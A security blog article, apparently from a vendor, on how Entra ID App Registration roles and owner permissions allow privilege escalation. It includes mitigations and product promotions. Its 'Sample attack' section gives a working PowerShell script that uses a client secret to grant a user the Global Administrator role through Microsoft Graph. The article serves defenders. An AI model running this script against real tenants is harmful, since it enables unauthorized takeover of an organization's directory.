App Registrations and Enterprise Applications are an integral part of Entra ID as they are at the core of the authentication process. However, they are often underestimated by IT engineers and created without giving much thought.

App Registrations can be highly privileged and are often abused by threat actors. They are also a way to allow for privilege escalation attacks, enabling an actor to swiftly move from a developer account to a global administrator account, for example. This article reviews some critical aspects around administrator access within Entra ID, and the detrimental effects it can have on your organization if a threat actor is able to access and manipulate those roles.

Entra ID Roles

There are quite a few roles that have the ability to interact with App Registrations:

• Global Administrator – Has full access.
• Privileged Role Administrator – Is able to provide admin consent to Microsoft Graph API permissions.
• Application Administrator – Is able to create and manage applications, including App Proxy configuration.
• Cloud Application Administrator – Is able to create and manage applications.
• Application Developer – Can create new applications, but can’t interact with existing applications.

However, the main danger exists specifically within the (Cloud) Application Administrator roles. During security assessments, I often see that these are assigned to developers or other ‘lower’ privileged users as they require the ability to create and manage custom integrations. It is useful if a developer is able to create and manage all aspects of its applications, as this removes the dependency on a global administrator to execute certain actions.

But the main issue here is that these lower-privileged (Cloud) Application Administrator roles can create a new secret for any existing applications. Depending on the existing (over) privileged applications in the tenant, they can gain access to mailboxes and SharePoint sites or role administration just by creating a new secret for existing applications, if applications with such permissions exist.

Therefore, (Cloud) Application Administrator roles should be seen as highly privileged and handled as such, meaning they should only be assigned to the same people that hold the Global Administrator role and those who are Privileged Role Administrators.

If you have a development team that requires regular interaction with app registrations, I recommend assigning them the Application Developer role and providing owner permissions to these applications.

Application Owners

An application owner is a role specific to an application, and they have full access to the application. By default, the administrator that creates the application is assigned the owner role. Additional owners can be added to an application by opening an app registration, selecting the ‘Owner’ blade, and adding additional users. Application owners can update the authentication configuration (reply URLs, platforms, etc., add permissions, and update certificates and secrets as well.

By assigning owner permissions to an application, you ensure that they have permissions to a specific application. However, you need to be cautious and ensure that the application doesn’t hold any high permissions. You must keep in mind that an owner can easily add new credentials to the application, abusing the existing permissions and thus escalating privileges in that way.

One caveat to keep in mind is that the ‘User Administrator’ and ‘Authentication Administrator’ roles are able to reset the password of users with owner permissions on app registrations. This is an important note, as these roles are not able to reset the passwords of users assigned administrator roles in Entra ID. Resetting the password of those administrator accounts requires the ‘Privileged Authentication Administrator’ role.

What this means is that another privilege escalation scenario is possible. Let’s take for example a developer that has created an application to send out emails. For this, they have created an app registration with the permission ‘Mail.Send.’ Hypothetically, if a helpdesk employee has received the ‘User Administrator’ role, they are now able to reset the password of the developer's account. Which means that essentially they have received permissions to send out emails in the name of every user in the organization, including in the name of the entire management team.

As a mitigation, every owner that is not assigned an Entra ID role should be added into a role assignable group. Owners and members of a role assignable group cannot be managed by User and Authentication administrators and require a Privileged Authentication Administrator to make any changes. 

Are you an Identity administrator responsible for Entra ID? Don't miss ENow's webinar on 1/31/24 @ 10 am PST - Microsoft MVPs Nicolas Blank & Alistair Pugin show how to "Identify & Fix Application Security Vulnerabilities in Microsoft Entra ID" - REGISTER HERE!

Sample attack

Let’s take the above scenario and expand it into an actual use case. Let’s take for example a situation where System Administrator John has created an automation to assign new roles to newly created administrator accounts, for which he has created an app registration ‘Administrator Creation’ with the required ‘RoleManagement.ReadWrite.Directory’ permission. And we also have Developer Jane, who has been assigned the role Application Administrator. This allows her to manage the existing application ‘Administrator Creation’ and thus creating a new client secret for the application.

The PowerShell script below is an example of how Developer Jane could use the new secret to authenticate to the application, and assign the Global Administrator role to her account:

$tenantId = “” ### Paste your own tenant ID here

$clientid = “”### Paste your own app ID here

$clientsecret = “” ### Paste your own app keys here

$body=@{

   client_id=$clientid

   client_secret=$clientsecret

   scope="https://graph.microsoft.com/.default"

   grant_type="client_credentials"

}

$accesstoken = Invoke-WebRequest -Uri "https://login.microsoftonline.com/$tenantId/oauth2/v2.0/token" -ContentType "application/x-www-form-urlencoded" -Body $body -Method Post

$accessToken=$accessToken.content | ConvertFrom-Json

$authHeader = @{

   'Content-Type'='application/json'

   'Authorization'="Bearer " + $accessToken.access_token

   'ExpiresOn'=$accessToken.expires_in

}

$body = @{

   "@odata.type"="#microsoft.graph.unifiedRoleAssignment";

   "principalId"="8f1ca28b-a2e0-49fe-b7eb-3b01d9797940"; #Object ID of user

   "roleDefinitionId"="62e90394-69f5-4237-9190-012177145e10"; #Role ID of Global Administrator

   "directoryScopeId"="/"

}

$JSON = ConvertTo-Json $body

$data = Invoke-RestMethod -Headers $authHeader -URI "https://graph.microsoft.com/v1.0/roleManagement/directory/roleAssignments" -Body $JSON -Method POST -ContentType "application/json"

The above is just a one simple example of what is possible, because the actual use cases are endless. There are many escalation methods available that admins need to take into account:

• Applications with permission ‘Group.ReadWrite.All’ can manage groups that are used to manage permissions in Microsoft Azure.
• An application used to send mails can be abused to send phishing emails, these mails would be seen as internal emails with a 100% pass on SPF, DKIM & DMARC.
• Interaction with SharePoint is done using Sites.ReadWrite.All permissions. These can be used to access highly classified SharePoint sites such as those from HR and management.

Protecting yourself

There are a ton of hidden dangers lurking within App Registrations in Entra ID. Every cloud administrator needs to be aware of the attack vectors and possibilities, and how they can be abused. When dealing with roles and permissions, you should avoid assigning the Application Administrator permissions to users that are not Global Administrators. If there is a requirement to allow others to manage an application, use a combination of the Application Developer role and owner permissions.

Besides administrator roles, caution needs to be used when providing administrator consent, specifically to application permissions. These permissions are tenant-wide by default and can provide a big opportunity for abuse by a threat actor.

By utilizing ENow's AppGovScore tool, you are able to receive insights into your app registrations and enterprise applications. This allows you to identify high risk permissions which can be abused by an attacker, so you can properly mitigate and prevent privilege escalation attacks from happening to your organization.

Do you know what apps are lurking in your tenant? The ENow AppGov Score is a free security assessment tool that will quantify your application governance state quickly.  In addition to providing your AppGov Score, the tool will provide a comprehensive Application Governance Assessment report that includes each test, your result and why the test matters. Sign up to get your score and assessment report in just a few minutes - Get Your AppGov Score today!